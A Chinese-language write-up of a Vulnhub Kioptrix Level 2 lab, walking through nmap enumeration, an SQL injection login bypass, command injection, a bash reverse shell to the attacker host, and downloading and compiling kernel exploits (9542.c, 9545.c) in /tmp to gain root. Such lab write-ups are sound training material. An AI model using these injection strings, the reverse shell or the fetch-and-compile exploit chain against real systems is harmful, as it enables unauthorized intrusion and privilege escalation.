0x02 Vulnhub Kioptrix level 2 通关

.#通过注入，拿到系统信息，9542.c和9545.c都能拿到shell
#注意，有时候要先进入/tmp目录，才能进行wget文件，我这里就是

```
└──# nmap -sn 192.168.232.0/24 --min-rate 4444-r
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-18 16:18 EDT
Nmap scan report for 192.168.232.1 (192.168.232.1)
Host is up (0.0029s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.232.2 (192.168.232.2)
Host is up (0.00034s latency).
MAC Address: 00:50:56:F4:68:3A (VMware)
Nmap scan report for 192.168.232.148 (192.168.232.148)
Host is up (0.0013s latency).
MAC Address: 00:0C:29:7E:39:F9 (VMware)
Nmap scan report for 192.168.232.254 (192.168.232.254)
Host is up (0.00018s latency).
MAC Address: 00:50:56:F6:5F:5D (VMware)
Nmap scan report for 192.168.232.142 (192.168.232.142)
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 0.41 seconds
```

```
┌──(root㉿kali)-[~]
└──# nmap 192.168.232.148 -p- --min-rate 9999 -r  -sS -oA nmap/port
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-18 16:45 EDT
Nmap scan report for 192.168.232.148 (192.168.232.148)
Host is up (0.0041s latency).
Not shown: 65528 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind
443/tcp  open  https
631/tcp  open  ipp
640/tcp  open  entrust-sps
3306/tcp open  mysql
MAC Address: 00:0C:29:7E:39:F9 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 6.88 seconds
```

```
┌──(root㉿kali)-[~]
└─# cat /root/nmap/port.nmap |  grep open | awk -F '/' '{print $1}' | tr '\n'
','
22,80,111,443,631,640,3306,
┌──(root㉿kali)-[~]
└─# nmap 192.168.232.148 -p 22,80,111,443,631,640,3306 -sV -sC -O --version-all
-oA nmap/server
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-18 16:46 EDT
Nmap scan report for 192.168.232.148 (192.168.232.148)
Host is up (0.00075s latency).

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 3.9p1 (protocol 1.99)
|_sshv1: Server supports SSHv1
| ssh-hostkey:
|   1024 8f:3e:8b:1e:58:63:fe:cf:27:a3:18:09:3b:52:cf:72 (RSA1)
|   1024 34:6b:45:3d:ba:ce:ca:b2:53:55:ef:1e:43:70:38:36 (DSA)
|_  1024 68:4d:8c:bb:b6:5a:bd:79:71:b8:71:47:ea:00:42:61 (RSA)
80/tcp   open  http     Apache httpd 2.0.52 ((CentOS))
|_http-server-header: Apache/2.0.52 (CentOS)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
111/tcp  open  rpcbind  2 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2            111/tcp   rpcbind
|   100000  2            111/udp   rpcbind
|   100024  1            637/udp   status
|_  100024  1            640/tcp   status
443/tcp  open  ssl/http Apache httpd 2.0.52 ((CentOS))
| ssl-cert: Subject:
commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinc
eName=SomeState/countryName=--
| Not valid before: 2009-10-08T00:10:47
|_Not valid after:  2010-10-08T00:10:47
| sslv2:
|   SSLv2 supported
|   ciphers:
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|     SSL2_RC4_128_WITH_MD5
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|     SSL2_RC2_128_CBC_WITH_MD5
|     SSL2_DES_64_CBC_WITH_MD5
```

```
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|_    SSL2_RC4_64_WITH_MD5
|_ssl-date: 2025-09-18T13:13:38+00:00; -7h32m50s from scanner time.
|_http-server-header: Apache/2.0.52 (CentOS)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
631/tcp  open  ipp      CUPS 1.1
|_http-title: 403 Forbidden
| http-methods:
|_  Potentially risky methods: PUT
|_http-server-header: CUPS/1.1
640/tcp  open  status   1 (RPC #100024)
3306/tcp open  mysql    MySQL (unauthorized)
MAC Address: 00:0C:29:7E:39:F9 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1
open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.30
Network Distance: 1 hop

Host script results:
|_clock-skew: -7h32m50s

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.62 seconds
```

进浏览器输入

http://192.168.232.148

```
#注入绕过，两个都行
admin' or '1' ='1
admin' or '1=1#

#可用系统命令注入；  ||  &   得到用户apache
&whoami
&bash --version

nc -lvvp 6666    #到kali开启监听
```

```
#回到浏览器输入
||bash -i >& /dev/tcp/192.168.232.142/6666 0>&1

#kali就监听到了apache用户
└──# nc -lvvp 6666
listening on [any] 6666 ...
connect to [192.168.232.142] from 192.168.232.148 [192.168.232.148] 32770
bash: no job control in this shell
bash-3.00$ whoami
apache
bash-3.00$
```

```
查看shell信息
bash-3.00$ cat /etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/

# run-parts
01 * * * * root run-parts /etc/cron.hourly
02 4 * * * root run-parts /etc/cron.daily
22 4 * * 0 root run-parts /etc/cron.weekly
42 4 1 * * root run-parts /etc/cron.monthly
bash-3.00$
```

#/etc/crontab：是系统级别的定时任务配置文件路径，记录了系统自动执行的周期性任务（如日志轮转、系统更新检查等）

通过这个命令，你可以了解系统在哪些时间自动执行哪些任务，这在排查系统异常、分析定时任务相关漏洞（如权限配置不当导致的提权）时非常有用。

```
#查看系统版本
bash-3.00$ uname -a
Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 i686 i386
GNU/Linux

bash-3.00$ cat /etc/*release*
cat: /etc/lsb-release.d: Is a directory
CentOS release 4.5 (Final)
```

```
尝试内核提权 #可能导致系统不稳定，但是好用

┌──(root㉿kali)-[~/nmap]
└─# searchsploit linux kernel 2.6 CentOS 4.5
------------------------------------------------------------------------ ----------
---------------------
 Exploit Title                                                          |  Path
------------------------------------------------------------------------ ----------
---------------------
Linux Kernel 2.4/2.6 (RedHat Linux 9 / Fedora Core 4 < 11 / Whitebox |
linux/local/9479.c
Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Cor |
linux_x86/local/9542.c
------------------------------------------------------------------------ ----------
---------------------
Shellcodes: No Results


#开启http服务，让目标机下载漏洞文件
python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
192.168.232.148 - - [18/Sep/2025 17:59:19] "GET /9542.c HTTP/1.0" 200 -
192.168.232.148 - - [18/Sep/2025 18:00:28] "GET /9542.c HTTP/1.1" 200 -
192.168.232.148 - - [18/Sep/2025 18:02:00] "GET /9542.c HTTP/1.1" 200 -
192.168.232.148 - - [18/Sep/2025 18:02:28] "GET /9542.c HTTP/1.0" 200 -
192.168.232.148 - - [18/Sep/2025 18:07:29] "GET /9542.c HTTP/1.0" 200 -
192.168.232.148 - - [18/Sep/2025 18:10:21] "GET /9542.c HTTP/1.0" 200 -

#这里要注意，反弹shell要进入/tmp目录才能wget，我在这里堵了十几分钟了
bash-3.00$ cd /tmp

#用9545.c拿到shell



bash-3.00$ cd /tmp
bash-3.00$  wget http://192.168.232.142:8080/9545.c
--15:29:28--  http://192.168.232.142:8080/9545.c
           => `9545.c'
Connecting to 192.168.232.142:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9,408 (9.2K) [text/x-csrc]
```

```
    OK .........                                              100%  472.22 MB/s

15:29:28 (472.22 MB/s) - `9545.c' saved [9408/9408]

bash-3.00$ ls
9542.c
9545.c
bash-3.00$ gcc 9542.c
9542.c:109:28: warning: no newline at end of file
bash-3.00$ ls
9542.c
9545.c
a.out
bash-3.00$ ./a.out
sh: no job control in this shell
sh-3.00# whoami
root
sh-3.00#




用9542.c拿到root
bash-3.00$ ls
bash-3.00$ wget http://192.168.232.142:8080/9542.c
--15:16:00--  http://192.168.232.142:8080/9542.c
           => `9542.c'
Connecting to 192.168.232.142:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2,535 (2.5K) [text/x-csrc]

    OK ..                                                 100%  185.97 MB/s

15:16:00 (185.97 MB/s) - `9542.c' saved [2535/2535]

bash-3.00$ gcc 9542.c
9542.c:109:28: warning: no newline at end of file
bash-3.00$ ls
9542.c
a.out
bash-3.00$ ./a.out
sh: no job control in this shell
sh-3.00# whoami
```

```
root
sh-3.00#
```